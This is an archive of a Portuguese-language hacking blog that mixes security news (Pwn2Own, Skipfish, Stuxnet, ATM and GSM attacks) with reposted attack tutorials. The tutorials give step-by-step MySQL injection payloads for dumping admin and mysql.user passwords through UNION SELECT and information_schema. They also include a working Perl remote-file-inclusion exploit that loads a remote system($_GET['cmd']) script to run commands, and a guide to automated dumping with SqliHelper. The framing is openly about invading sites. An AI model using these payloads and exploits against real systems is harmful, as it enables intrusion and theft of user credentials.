Parceiro: Camisetas Hacker

Camisetas para Nerds & Hackers

terça-feira, 15 de fevereiro de 2011

Tutorial como invadir com SQL Injection (MySQL), sql injection por method $_GET e $_POST, programa para sqlinjection

Tutorial como invadir com SQL Injection (MySQL), sql injection por method $_GET e $_POST, programa para sqlinjection


O que é Sql Injection?
É uma vulnerabilidade existente nos dias de hoje, que si usa de uma manipulação em  códigos sql. Esta vulnerabilidade permite ao atacante executar consultas ao banco de dados inserindo querys (comandos Sql) na url do site ou ate mesmo em campos de text. obtendo, assim, informações confidenciais como logins e senhas, dentre outros.
Hoje em dia são usadas muitas técnicas para explorar um banco de dados de um site servidor… Citarei algumas das técnicas.
1 – Sql Injection
A) Verificar a si existe uma Vulnerabilidade sem programa.
Vou citar um exemplo básico, para si saber si existe uma vulnerabilidade. Suponhamos que existe um site chamado “ALVO”, e esse site contem dados enviados por variáveis URL.
Código:
http://www.alvo.com/news.php?id=5
No caso acima, o nome do site é www.alvo.com, Toda vez que você ver no link de um site o sinal de interrogação seguido de alguma palavra,letra,silaba recebendo algum valor, isso quer diser que existe um dado sendo enviado de uma pagina para outra. Exemplo: ?id=5.
Isso significa que neste caso, a pagina news.php estará recebendo o.
Concerteza na pagina, chamada news.php terá um código, parecido com esse:
$id       =$_post[‘id’];
E obviamente terá um código sql, parecido com esse.
Query_rs        = “select *  from noticias where código=’$id’”
Isso significa que a pagina news.php esta selecionando a noticia em que o codigo da noticia seja igual ao codigo da URL, que seria a variavel $id.
Agora, vamos a parte para identificarmos se o site é vulnerável, colocaremos ao final da url uma aspa simples ( ‘ ). Abaixo é mostrado a forma como a url ficará.
Código:
http://www.alvo.com/news.php?id=5′
Caso o site retorne um erro igualmente ou semelhante ao apresentado a seguir. O site é vulnerável a Sql Injection
Erro:
“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the…
O erro acima diz que a sintase da consulta sql esta incorreta. e pede para você checar o manual correspondente ao SGBD que você está utilizando. “Até parece que você é o administrador do site”
Agora que checamos o erro no site e sabemos que este é vulnerável a injeção de Sql na url. Agora Iremos aprender a explorar esta vulnerabilidade. Com alguns macetes:
B) – Localizar a Quantidade/Número de Colunas/Tabelas do banco de dados.
Utilizaremos uma forma bastante simples para descobrir a quantidade de colunas existentes na tabela. Para encontrar a quantidade de Colunas/Tabelas é utilizado o comando ORDER BY, esse comando é colocado no fim da sintase sql, significa ordenar em formas descendente, ascendente dentre outras a suas consulta.
Mas como utilizar este comando Sql?
Ao final da url você adiciona o comando order by e vai adicionando uma sequência de Colunas, ou seja, você pode acionar a coluna correspondente. Caso queira olhar a coluna 1, ordene assim:
Código:
http://www.alvo.com/news.php?id=5 order by 1
Se não aparecer nenhum erro é por que esta Coluna número 1 existe. Para localizar a quantidade de colunas basta ir tentando ordenar todas as colunas de 1 a infinito.  Lembre-se que esta vulnerabilidade necessitamos trabalhar em cima dos erros, então o ideal é você ir acrescentado valor até que o site retorne um erro dizendo que a Coluna é inexistente no banco de dados.
Código:
http://www.alvo.com/news.php?id=5 order by 1/* <– Sem erro
http://www.alvo.com/news.php?id=5 order by 1,2/* <– Sem erro
http://www.alvo.com/news.php?id=5 order by 1,2,3/* <– Sem erro
http://www.site.com/news.php?id=5 order by 1,2,3,4 <– Com erro
O exemplo acima, é atribuido Colunas (1..2..3..4), no entanto, é mencionado erro na Coluna 4. Conclui-se então que esta Coluna é inexistente e que o banco possui apenas 3 Colunas.
C) – Utilizando a função UNION.
Esta função poderosa é responsável por unir vários dados localizados em Colunas de Tabelas diferentes. “Essa é muito boa”
Vamos utilizar o exemplo abaixo para melhor exemplificar.
Código:
http://www.alvo.com/news.php?id=5 union all select 1,2,3
Explicando a Sql:
O exemplo acima vai possibilitar ao “Injectador” visualizar todas as informações contidas nas Colunas/Tabelas 1, 2 e 3 do banco.
Código:
…?id … union all select 1,2,3
Faça a união de todas as informações contidas das Colunas/Tabelas 1, 2 e 3 do site: http://www.alvo.com/news.php. Está e a ordem que você atribui ao comando colocado na url do site.
D) – Descobrindo a versão do SGBD (MySql).
Código:
http://www.alvo.com/news.php?id=5 union all select 1,2,3
Observe acima que na url o comando Sql pede para visualizar as três Colunas/Tabelas existentes no banco. Agora para visualizar a versão do banco é necessário que façamos uma substituição. Retirar a Coluna/Tabela 2 pelo comando @@version.
Código:
http://www.alvo.com/news.php?id=5 union all select 1,@@version,3
Caso não der certo, você receberá uma mensagem de erro semelhante a esta:
Citação:
“union + illegal mix of collations (IMPLICIT + COERCIBLE) …”
Para resolver este erro vamos utilizar a função convert(). Exemplo abaixo:
Código:
http://www.alvo.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/
Ou então as funções hex() e unhex();
Código:
http://www.alvo.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/
Com os procedimentos acima, você irá conseguir achar a versão do SGBD MySql.
E) – Obtendo o nome da Coluna/Tabela.
Agora que temos a versão, iremos ao passo seguinte. Descobrir o nome das Colunas/Tabelas:
Geralmente os DBA’s (Administradores de Banco de Dados) utilizam nomes comuns como padronização para suas Colunas/Tabelas como:
Citação:
user, usuario, admin, member, membro, password, passwd, pwd, user_name
Lógico que isto depende bastante de DBA’s e qual tipo de padronização ele estiver utilizando.
Na consulta abaixo o “Injectador” bicuda, isto mesmo ele utiliza a técnica de tentativo-erro, para tentar acertar o nome da Coluna/Tabela.
Código:
http://www.alvo.com/news.php?id=5 union all select 1,2,3 from admin
Observe que acima a query diz: “Mostre-me os valores das Colunas/Tabelas 1, 2 e 3 do usuário admin”.
Código:
http://www.alvo.com/news.php?id=5 union all select 1,username,3 from admin
Caso apareça erro, vá mudando o nome da coluna… afinal é a técnica da tentativa e erro.
Código:
http://www.alvo.com/news.php?id=5 union all select 1,username,3 from admin/
Acima, observe que a consulta começa a ficar refinada: “Mostre-me os valores Coluna/Tabelas 1, o nome do usuário e 3 do usuário admin”. Ou seja, suponha que o DBA tenha criado um banco onde as ele separou a Tabela admin, como o exemplo. No entanto, este admin possui inumeras informações (campos) como: nome do admin (username), password, endereco, idade.. etc.
Código:
http://www.alvo.com/news.php?id=5 union all select 1,username, password from admin
Caso a consulta der certo, na tela aparecerá o nome do usuário e a senha. Esta senha aparecerá na tela tanto como texto ou criptografada, em md5 hash.. etc. Vai depender muito da base de dados onde foi desenvolvido o banco.
Para ficar com um boa aparência e organizada as informações na tela. É utilizado a função concat().
Código:
http://www.alvo.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*
Dependendo do campo, fica a seu critério inserir em hexadecimal (0x3a) ou utilizando o padrão Ascii (char(58)).
Código:
http://www.alvo.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*
Na tela já aparecerá os valores com o nome do usuário administrador e a senha. Faça orações para que não aparece em hash md5 senão vai ser outra guerra..
Dica: Quando está difícil para achar o nome da Coluna/Tabela, sempre é bom utilizar mysql.user, pois é muito utilizado como default e como padrão. Exemplo abaixo.
Código:
http://www.alvo.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*
F) – MySql 5.
Devido algumas diferenças atribuídas a versão 5 do MySql. É mostrado aqui uma técnica para obter o nome das Colunas/Tabelas.
Nesta nova versão, é acrescentada um arquivo chamado information_schema, onde possui informações sobre todas as Colunas/Tabelas do banco. É este arquivo que será o nosso alvo.
Código:
http://www.alvo.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*
Na consulta acima substituimos o campo 2 por table_name para obter a primeira tabela de information_schema.
Agora para que a consulta seja rápida é necessário acrescentar um limite para as linhas.
Observer abaixo que é colocado como limite 0, 1.
Código:
http://www.alvo.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*
OBS: você deve ir acrescentando os valores dos limites: 1, 2; 3,4. Vai depender de você, pois vamos supor que o alvo principal é a Coluna/Tabela admin_password e está está na posição 43, então você deveria acrescentar uma por uma até achar… 1, 2; …, …; 42, 43.
Espero que tenham entendido esta parte.
Para obter o nome das colunas, também é utilizado a mesma lógica. Só que agora no arquivo information_schema.columns.
Código:
http://www.alvo.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*
Agora vamos a uma consulta mais específica. Caso você queira que apareça informações mais específica como o nome dos usuário pode-se fazer a consulta abaixo:
Código:
http://www.alvo.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name=’users’/
Com esta consulta é visualizado o nome das colunas.. agora é só utilizar os limites para visualizar os nomes de usuários.
Caso os valores estejam em colunas diferentes (lugares) vamos concatenar utilizando o concat().
Código:
http://www.alvo.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*
Ferramenta de auxílio
SQL Injection 1.2 + Firefox.
https://addons.mozilla.org/pt-BR/firefox/addon/6727
Para dá apoio/auxílio na injeção dos códigos da SQL Injection, aqui é mostrado um complemento do Firefox que pode ajudá-lo bastante nesta tarefa.
O SQL Injection 1.2 que é uma complemento que nos ajuda a inserir códigos tanto em Post quanto em Get. Além de você pode memorizar todas as entradas que você adquirir, sem a necessidade de utilizar o Crtl + c e Crtl + v.
Abaixo as ilustrações mostram a facilidade de uso da ferramenta.
Acima simplesmente pedimos para mostrar o usuário, a senha e o email.
Isto é um exemplo de Sql Injection Avançado. Não é uma técnica tão simples, necessita-se de prática e conhecimento em Sql.
Para quem sabe manejar bem o sql, concerteza que com este simples tutorial, aprenderá coisas a mais do que estou ensinando. Aprenderá que para fazer um sql injection basta injetar um código em outro código.
Espero que todos tenham entendido pelo menos a essência da coisa.
0
A imagem 01 mostra o ícone no campo inferior do Browser. Para darmos início a execução do complemento é necessário dar um clique em cima do ícone (cadeado).
1
A imagem 02 mostra o complemento em si. Observe que não tem muito mistério, um campo para a escolha da String/Query e dois botões de escolha.
2
A imagem 3 mostra que o complemento já vem com algumas Strings, as Query’s que aparecem eu mesmo adicionei.
Mas como funciona?
3

A imagem 04 mostra que o SQL Injection 1.2 já fez a limitação dos campos que podem vir a receber os Strings, que na ilustração acima correspondem a Usuário, Senha, Entrar.
Para inserir é necessário que você clique em cima de qualquer um dos 3 campos do site.
juancarloscunha
A imagem 05 aparece logo após você clicar no campo desejado. Então você pode fazer a escolha de fazer a injeção por POST ou por GET.
juancarloscunha
Na imagem 06 você agora deve escolher em qual campo será inserido a String. Para isto você deve optar em clicar em um dos dois botões:
O botão Injection Code possibilita inserir a String apenas no input que você clicou anteriormente.
O botão Injection in all possibilita que a String seja inserida em todos os campos do site.
Observe que eu clique no botão Injection in all.
Pronto, logo após para iniciar a injeção basta clicar no tão Submit this form.


Fonte:http://juancarloscunha.wordpress.com/2009/08/19/tutorial-como-invadir-com-sql-injection-mysql-sql-injection-por-method-_get-e-_post-programa-para-sqlinjection/ 

Descobrir vulnerabilidade de php injection e explorando, criar exploit para php injection

Descobrir vulnerabilidade de php injection e explorando com um exploit, exploitando php injection, criar exploit para php injection

Como que acontece a inclusão de arquivos remotos (RFI)?

A função include() do PHP é usada para incluir alguma coisa.
Se essa função não for usada com segurança, alguém mal-intencionado
poderá explorar esta falha de segurança. Assim podendo desfigurar seu site ou em alguns casos só invadir seu site por invadir. incluindo scripts PHP(php injection) e executar comandos arbitrários no sistema.
Exemplo de página vulnerável:
include($_GET['page']);
Irá incluir a pagina especificada pelo programador, que será identificada via browser(na url), deixando o site vulnerável, pois qualquer um poderá mudar o nome da pagina via GET.
Ex:   http://127.0.0.1/vuln.php?page=http://www.qualquer-coisa.com/imagem.gif
Nesse caso, o arquivo imagem.gif será incluido na página, mas… o que acontece
se ao invés de incluirmos imagens, passarmos a injetar um script PHP do tipo:
system($_GET['cmd']);
http://127.0.0.1/vuln.php?page=http://www.qualquer-coisa.com/script.txt&cmd=dir
A função system() executa comandos no sistema, no exemplo acima, o comando
executado será ‘dir’, e a resposta será algo parecido com:
O volume na unidade C não tem nome.
O número de série do volume é ABCD-EFGHPasta de C:\apache\htdocs 29/02/2008 22:43
29/02/2008 22:43
29/02/2008 22:43 31 vuln.php
Um exploit simples para essa vulnerabilidade pode ser construído usando a seguinte
estrutura:- (Site) + (Página vulnerável + variavel vulnerável) + (Link para o script malicioso) + (Comando Unix/Windows dependendo do sistema operacional)
Exemplo:
http://www.site.com/vuln.php?inc=http://www.host-files.com/script.txt&cmd=dirSite: http://www.site.com/
Página vulnerável + variavel vulnerável: vuln.php?inc=
Script malicioso: http://www.host-files.com/script.txt
Comando: dir
Obs: o &cmd= em &cmd=dir pode variar dependendo do ’script malicioso’.
Exemplos:
—————————————————————————-
system($_GET['cmd']);
http://www.site.com/página-vulnerável.php?variavel=http://algum-site.com/script.txt&cmd=qualquer coisa
—————————————————————————-
system($_GET['exec']);
http://www.site.com/página-vulnerável.php?variavel=http://algum-site.com/script.txt&exec=qualquer coisa
—————————————————————————-
system($_GET['comando']);
http://www.site.com/página-vulnerável.php?variavel=http://algum-site.com/script.txt&comando=qualquer coisa
OBS: É obvio que a pagina a ser injetada tem que estar em algum lugar que você colocar, e no servidor de hospedagem que você quiser.
—————————————————————————-

Vamos construir o exploit para explorar

Se site, link para o script malicioso, comando, arquivo e variável vulnerável foram passadas, então continua.
Caso contrário, informe ao usuário sobre o erro.
#!/usr/bin/perl
if(@ARGV != 4) {
print "Modo de usar: perl exploit.txt \n”;
print “Exemplo: perl http://www.site.com/ vulneravel.php?page= http://www.host.com/script-malicioso.txt dir\n”;
exit;
} ($site, $page, $script, $comando) = @ARGV;
Os parâmetros necessários são passados como ‘argumentos’.
Se o total de argumentos passados para a execução do script for diferente de ‘4′ então mostre a mensagem de erro.
Vamos padronizar o script malicioso como sendo:
system($_GET['cmd']);
então quando formos iniciar a requisição, colocaremos:
$argv_script = "&cmd=";
portanto, a página que devemos ‘visitar’ será
$pagina = $site.$page.$script.$argv_script.$comando;
Exemplo:
http://www.site.com/vulneravel.php?page=http://www.host.com/script-malicioso.txt&cmd=dir
Com o módulo LWP::Simples, podemos usar a função get() que baixa uma página
e retorna para uma variável qualquer.
$resposta = get($pagina);
e mostramos a saída do servidor web,
print $resposta;
O corpo do exploit está concluído, o exploit é:
#!/usr/bin/perlif(@ARGV != 4) {
print "Modo de usar: perl exploit.txt \n”;
print “Exemplo: perl http://www.site.com/ vulneravel.php?page= http://www.host.com/script-malicioso.txt dir\n”;
exit;
}($site, $page, $script, $comando) = @ARGV;
$argv_script = “&cmd=”;
$pagina = $site.$page.$script.$argv_script.$comando; $resposta = get($pagina);
print $resposta;
A array @ARGV contém os argumentos passados para o script.
($site, $page, $script, $comando) = @ARGV;
seria o mesmo que
$site = $ARGV[0];
$page = $ARGV[1];
$script = $ARGV[2];
$comando = $ARGV[3];
Melhorias estéticas podem ser feitas, como por exemplo o uso de .
#!/usr/bin/perl
use LWP::Simples; site:
print "Host (Ex.: www.site.com): ";
$site = ;
if($site eq “”){
goto site;
}
if($site =~ /http:\/\//){
print ‘Nao coloque http:// !’.”\n”;
goto site;
}
pagina:
print “Pag. vulneravel (Ex.: Colt7r/vulneravel.php?page=): “;
$page = ;
if($site eq “”){
goto pagina;
}
script:
print “Script (Ex.: http://www.host-files.com/script.txt): “;
$script = ;
if($script eq “”){
goto script;
}
if($script !~ /http:\/\//){
goto script;
}
print “Variavel para executar comandos (script)\n”;
print ‘Ex.: cmd = system($_GET[\'cmd\']): ‘;
$argv_script = ;
if(!$argv_script){
$argv_script = “cmd”;
}
$argv_script = ‘&’.$argv_script.’=';
comando:
print “Comando: “;
$comando = ;
$pagina = $site.$page.$script.$argv_script.$comando;
$resposta = get($pagina);
print $resposta;
goto comando;
Esse é um exploit genérico, que serve apenas para demonstrar como explorar
a vulnerabilidade. Durante o desenvolvimento de um exploit para um software
específico, é necessário o uso de expressões regulares e outros.
Méritos: Colt7r

fonte:http://juancarloscunha.wordpress.com/2009/08/24/descobrir-vulnerabilidade-de-php-injection-e-explorando-com-um-exploit-exploitando-php-injection-criar-exploit-para-php-injection/

Google Está Oferecendo US$ 20.000 e um Cr-48 por Hacks do Chrome

Google Está Oferecendo US$ 20.000 e um Cr-48 por Hacks do Chrome

A Google está oferecendo US$ 20.000 e um notebook CR-48 com o Chrome OS para o hacker que puder fazer sua mágica no navegador Chrome como parte do concurso de hacking Pwn2Own.
O hacker deve usar as vulnerabilidades presentes puramente no código escrito pela Google e fugir da sandbox para que o hack tenha sucesso.
O concurso é organizado pela equipe do Zero Day Initiative (ZDI) da HP TippingPoint e oferece prêmios adicionais para hacks do Microsoft Internet Explorer, do Apple Safari e do Mozilla Firefox, e também dos celulares Dell Venue Pro com o SO Windows 7, iPhone 4 com o iOS, Blackberry Torch 9800 com o Blackberry 6 OS e o Nexus S com o Android, totalizando US$ 105.000.
Os hacks que funcionarem nesses dispositivos e navegadores dará ao hacker responsável US$ 15.000 em dinheiro, o próprio dispositivo e também alguns bônus para o uso do ZDI em 2011.
É importante lembrar que, ao contrário do que foi dito por aí, o notebook CR-48 é apenas um prêmio, e que o hack mais importante para a Google será do navegador Chrome em um notebook que esteja rodando o Windows 7 ou o Mac OS X.

segunda-feira, 14 de fevereiro de 2011

Google lança scanner de segurança aberto

Google lança scanner de segurança aberto


O Google disponibilizou um novo scanner de código aberto que permite a busca por vulnerabilidades e testes de segurança em aplicações web.
Segundo a empresa, o Skipfish é capaz de detectar falhas na programação relativas a scripts cross-site (XSS), SQL injection, XML injection e outras ameaças mais comuns da rede.

O programa pode processar mais dois mil pedidos HTTP por segundo em conexão direta pela internet, caso o servidor agüente. Além disso, ele é capaz de rodar sete mil pedidos em redes locais, exibindo uso moderado de recursos dos servidores.
“Incorporamos sistemas de segurança que diminuem a ocorrência de falsos positivos e que têm a capacidade de encontrar as vulnerabilidades mais sutis”, afirmou Michal Zalewski, da equipe de segurança da informação do Google.
Escrito em puro C, o Skipfish traz heurística com suporte a diversos frameworks. Além disso, ele tem capacidade automática de aprendizado, criação de listas de palavras atualizadas constantemente e recurso autocompletar para formulários.
Outra vantagem da ferramenta é a tradução dos resultados dos testes para termos mais compreensivos, que auxiliam na interpretação dos relatórios gerados.
Quer fazer o teste?


Saiba um pouco mais na documentação do scanner
http://code.google.com/p/skipfish/wiki/SkipfishDoc

Fonte:http://info.abril.com.br/noticias/seguranca/google-lanca-scanner-aberto-de-seguranca-24032010-20.shl 

Stuxnet – O vírus mais poderoso do mundo

Stuxnet – O vírus mais poderoso do mundo

Stuxnet é um worm de computador projetado especificamente para atacar o sistema operacional SCADA, desenvolvido pela Siemens para controlar as centrífugas de enriquecimento de urânio iranianas. Foi descoberto em junho de 2010 pela empresa bielorrussa desenvolvedora de antivírus VirusBlokAda. É o primeiro worm descoberto que espiona e reprograma sistemas industriais.[1] Ele foi especificamente escrito para atacar o sistema de controle industrial SCADA, usado para controlar e monitorar processos industriais.[2] O Stuxnet é capaz de reprogramar CLPs e esconder as mudanças.[3] O vírus pode estar camuflado em mais de 100 mil computadores, porém, para sistemas operacionais domésticos como o Windows e Mac OS X, o worm é inofensivo, só funciona efetivamente nas centrífugas de enriquecimento de urânio iranianas, já que cada usina possui sua própria configuração do sistema SCADA.

Hacker demonstra que caixas eletrônicos são extremamente vulneráveis

Hacker demonstra que caixas eletrônicos são extremamente vulneráveis


Barnaby Jack conseguiu um jackpot na Black Hat (conferência de segurança digital) na última quarta-feira (28/07). Duas vezes. Ao explorar falhas em duas máquinas ATM (caixas eletrônicos) diferentes, o pesquisador da IOActive foi capaz de extorquir dinheiro dos aparelhos e obter dados dos cartões de créditos de clientes que a utilizaram.
O hacker demonstrou sua habilidade em dois dispositivos adquiridos por conta própria – daqueles usualmente encontrados em bares e lojas de conveniência. Criminosos já vêm utilizando tal tática há anos, contratando profissionais para descobrir senhas de cartões ou, às vezes, simplesmente roubando as máquinas a fim de levá-las a um local mais seguro onde a mesma ação será colocada em prática.
Segundo Jack, no entanto, existe uma maneira ainda mais fácil para explorar o sistema: delinquentes podem se conectar ás máquinas simplesmente contatando-as com um telefone. Ele acredita que grande número delas pode ser controlada remotamente a partir de um simples telefonema.
Depois de experimentar com seus próprios aparelhos, Jack desenvolveu um método para derrubar o sistema de autenticação remota e instalar uma praga virtual também feita por ele. Batizada de Scrooge, ela torna possível a substituição do firmware do dispositivo. Mas, Jack não parou por aí: ele construiu um software de gerenciamento online, que lhe permitia manter contato com as máquinas infectadas, de modo a continuar a coletar os dados das pessoas que as utilizavam.
Criminosos poderiam encontrar caixas eletrônicos vulneráveis a partir do software open-source desenvolvido, fazendo com que ele ligasse para inúmeros aparelhos e apenas esperando a reposta daqueles que já estariam infectados. É uma tática parecida com aquela já utilizada para entrar, a partir da internet, no sistema de computadores responsáveis por transações comerciais.
Causa nobre
De acordo com Jack, sua demonstração foi só uma forma de provar o quão vulneráveis são os caixas eletrônicos. “O objetivo de meus atos é iniciar uma discussão sobre as melhores formas para corrigir o problema”, afirma. “Chegou a hora desses dispositivos serem atualizados. As companhias que os fabricaram não são a Microsoft; elas não sofreram dez anos de ataques contínuos”.
As máquinas as quais Jack infectou, no entanto, são baseadas em um sistema operacional da gigante dos softwares, o Windows CE.
 

Em uma convincente performance durante sua palestra na Black Hat, o hacker se conectou a um caixa eletrônico e executou o programa denominado Jackpot. O que se viu a seguir foi uma quantidade significativa de notas saindo do aparelho ao mesmo tempo que a palavra “Jackpot” era exibida em sua tela.
Na segunda parte, Jack caminhou até o dispositivo, invadiu seu sistema com uma senha obtida na internet e instalou seu firmware. Ele diz que uma simples chave pode abrir diversos caixas eletrônicos, ou seja, mais um problema de segurança dos mais preocupantes.
O curioso é que Jack havia planejado a palestra para a conferência do ano passado, mas, foi convencido por vendedores de caixas eletrônicos a adiar suas revelações. Eles pensavam que, com mais tempo, poderiam corrigir as falhas descobertas pelo hacker.

Hacker cria falsa rede de celular para invadir iPhones


 
Apesar de sua apresentação na conferência hacker Black Hat não ter sido perfeita, o estudante da Universidade de Luxemburgo, Ralf-Philipp Weinmann, mostrou que é realmente possível enganar usuários de iPhone para se conectarem a uma falsa rede GSM (Global System for Mobile Communications – utilizada pela maioria das operadoras de telefonia).
No evento realizado em Washington, nos EUA, Weinmann mostrou como invadir smartphones usando o software de código aberto OpenBTS e outros equipamentos de baixo custo. Assim foi possível criar uma falsa estação base de transmissão GSM, localizar iPhones e enviar mensagens aos seus donos. Vários usuários de iPhone presentes no evento ficaram surpresos ao receber uma mensagem pedindo que se conectassem à rede.
Weinmann, que pesquisa vulnerabilidades em redes celulares, afirmou que com o equipamento correto, o alcance da falsa estação GSM pode chegar a 35 quilômetros. “Você quer ‘pegar’ telefones não apenas de adolescentes, mas também de executivos”, disse Weinmann, adicionando ainda que é possível “ter controle total sobre o aparelho”. Parte da razão desses ataques por meio de redes falsas GSM existirem é porque o código base utilizado em smartphones como o iPhone, que é baseado em Infineon, remete aos anos 1990.
Um pouco de investigação permitiu ao especialista descobrir vulnerabilidades que podem ser exploradas. Por exemplo, ele teve ajuda ao descobrir que uma empresa italiana que faliu nos anos 1990 deixou dados sobre código para seções de memória GSM no site Sourceforge por quatro anos, antes de tirá-los do ar.
O ataque de Weinmann permitiria que ele tirasse vantagem de iPhones atraídos para sua falsa estação base para “habilitar e desabilitar a resposta automática do iPhone”. Ou com um ataque para gravar o áudio do iPhone, armazená-lo em RAM e então transmitir a informação obtida.
O estudante ainda afirmou que não quer encorajar o roubo de dados com o procedimento que demonstrou, mas sim alertar as operadoras e fabricantes para que melhorem a segurança das redes wireless. Ele também adiciona que tecnologias como femtocells (estações domésticas que permitem que as ligações de celulares sejam direcionadas para uma rede mais ampla) poderiam ser usadas para substituir o programa OpenBTS, o que apenas aumentaria os tipos de ataques que investiga.

terça-feira, 8 de fevereiro de 2011

Vou passar um mês sem posts!

passar um mês sem posts galera
Vou passar um mês sem posts galera, pois estou meio atarefado no trabalho mais volto logo com projetos novos para google inurl - Brasil, agradeço muito as visitas de toda parte do mundo, enquanto isso façam seus pedidos de post sobre google inurl de duvidas.

domingo, 30 de janeiro de 2011

Sql Injection - Aprenda e evitar

Sql Injection - Aprenda e evitar


O objetivo do post é apenas mostrar o perigo de um script que permite a exploração dessa falha.


Acredito que muita gente se preocupa mais com a manipulação da string de SQL quando se trata de uma tela de login, onde o usuário digita seu login e senha para ter acesso a uma área restrita de um sistema.


Porém o problema pode ser muito mais grave, do que permitir o acesso a uma área restrita. Um exemplo seria esse mesmo sistema de produtos ou de blog, que receba por GET/POST qual produto mostrar ou qual post o leitor irá visualizar. Se essa string recebida puder ser manipulada um grande estrago pode ser feito. Acho que todos já sabem disso e já leram em diversos lugares.


Mas aqui o objetivo é mostrar como realmente fazer isso e também mostrar uma ferramente que automatiza isso, com o intuito de você testar suas urls para verificar a presença desse tipo de falha.


O código que será postado é um exemplo de um script COM FALHA.
A explicação que você vai ler abaixo foi tirado do site:
[ http://wordsecurity.wordpress.com/2009/12/16/tutorial-mysql-injection/ ]


A ferramenta na qual falei que faz isso de forma automática é a "SqliHelper", que você pode enconrar nesse site: http://reiluke.i.ph/


Aqui segue um passo-a-passo como utilizar a ferramenta:


Onde tem target coloque esse link: http://localhost/index?mes=12&ano=2009


Click em cada um dos botões, um de cada vez:
Inject => Vai testar se o site eh vulneravel
Get Database => Vai aparecer os nomes dos bancos no servidor
Get Tables => Vai mostrar as tabelas do banco de dados q vc selecionou
Get Columns => Vai mostrar as colunas da tabela q vc escolheu


Agora Selecione todos os campos da tabela e por ultimo click em: Dump Now


Você verá que caso uma tabela que contenha senhas, e essas senhas não for criptografada, o invasor terá TODAS as senhas. É importante que você sempre guarde as senhas no banco de forma criptograda, dessa forma mesmo que um usuário tenha acesso as senhas ele não conseguirá ler.


Existe um post no site que fala exatamente como criar uma senha criptografada de forma SEGURA!


http://www.codigopronto.com.br/codigo-ler/7/gera-um-hash-com-salt-aleatorio




----------------------------------------------------------------------
[Tutorial] MySQL Injection [ http://wordsecurity.wordpress.com/2009/12/16/tutorial-mysql-injection/ ]


Então , como muitos sabem uma das falhas de programação web mais encontrada na internet é de banco de dados SQL .
O que posso dizer é que para explorar não necessita de um tipo especifico de requisição ( Post ou Get ) .


Portanto vamos ao tutorial :


Antes de mais nada não é necessariamente necessario algum erro de consulta para saber se esta realmente vul , e sim sua interpretação…


Erros de consultas no mysql_error() para possivelmente vuls , por exemplo :
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/renan/public_html/noticias.php on line 211

&

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘” at line 1


No caso ah erro na consulta , mas não siginifica que em todos sites estaram mostrando .
Muitos dizem que só é possivel explorar caso lhe retorne algum erro , mas nem sempre é necessario…


$id = $_GET;
$q = "SELECT * FROM informativos WHERE id = '$id'";
$r = mysql_query($q) or die(mysql_error());
?>


#################################################


Vamos a pratica :
Se adicionarmos no final de um string uma simples aspas ela ira modificar a syntax retornando algum daqueles erros acima ou não modificaria a pagina.
Nossa query de consulta com aspas no fim da string de um site seria:
SELECT * FROM informativos WHERE id = '3''


Achando Colunas
Voce pode usar duas formas de achar as colunas , por “order by” ou “union+all+select+” .


No caso de “order by” voce fica procurando até aparecer o erro ” unknown column ‘5? in ‘order clause’ ” .
Ja no ” union+all+select+ ” voce adicionaria o numero de strings que representa a qtd de colunas daquele query .
Exemplo
Aqui temos um site onde a quantidade de colunas nos retornara umas string na pagina .
www.site.com.br/informativos.php?id=3+union+all+select+1 Nada

www.site.com.br/informativos.php?id=3+union+all+select+1,2 Nada

www.site.com.br/informativos.php?id=3+union+all+select+1,2,3 Nada

www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,4 Nada

www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,4,5 strings de ex 2,3 e 4


Mas em outros sites voce com esse mesmo tipo de consulta as colunas o erro seria :
” The used SELECT statements have a different number of columns “


——————————————————————–


Informações do host
version() => versão do MySQL
database() => nome do banco de dados da query
user() ou system_user() => usuario do banco de dados
now() => hora e data atual


Exemplo:
www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,version(),5

5.0.54-log



www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,database(),5

renan



www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,user(),5

[email protected]



www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,now(),5

2009-08-28 23:19:41


——————————————————————–


Achando Tabelas
Para se achar as colunas acho facil e voce ira compreender meu raciocineo.
Por exemplo voce poderia usar metodo de chute( brute ) de tabelas ou Dumpea-las , mas quando usa-las ?
A nossa resposta é de que versões anteriores do MySQL abaixo de 5.x.y não se pode dumpear então seria por chute , só que versões acima ou ela mesmo voce utiliza o metodo
de achar as colunas por meio de information_schema ( dumpear ) .


concat concatenar = colocar em ordem


group_concat() => busca tudo o que deseja juntamente com caracters em hexadecimal
concat() => busca o que deseja juntamente com caracters em hexadecimal
concat_ws() => une


-> No caso de chute ( brute ) voce utilizaria ” +from+ :
www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,4,5+from+Renan


Se não houver a tabela de nome “Renan” ira nos retornar o erro ” Table ‘database.renan’ doesn’t exist “
Se houver nos retornaria a pagina com as mesmas strings de achado as colunas .


-> No caso de Dumpear :
Temos 2 jeitos bem faceis que voce pode escolher.


=====—————————————————-=====


1º Metodo:
Nesse metodo as tabelas estam em hexadecimal.


renan_usuarios 0x72656e616e5f7573756172696f73


Temos então um site onde queremos pegar todas as tabelas .
www.site.com.br/informativos.php?id=null+union+all+select+1,2,3,group_concat(table_name),5

+from+information_schema.tables where table_schema=database()--
Retornaria-nos as seguintes tabelas postas na pagina :
adm_area,amado_agenda_fotos,amado_cadastros,amado_fotos,amado_usuarios,site_mp3,site_testemunhe,etc.



Comandos:
group_concat(table_name)

+from+information_schema.tables+where+table_schema=database()--


Agora temos de encontrar as colunas de uma determinada tabela .
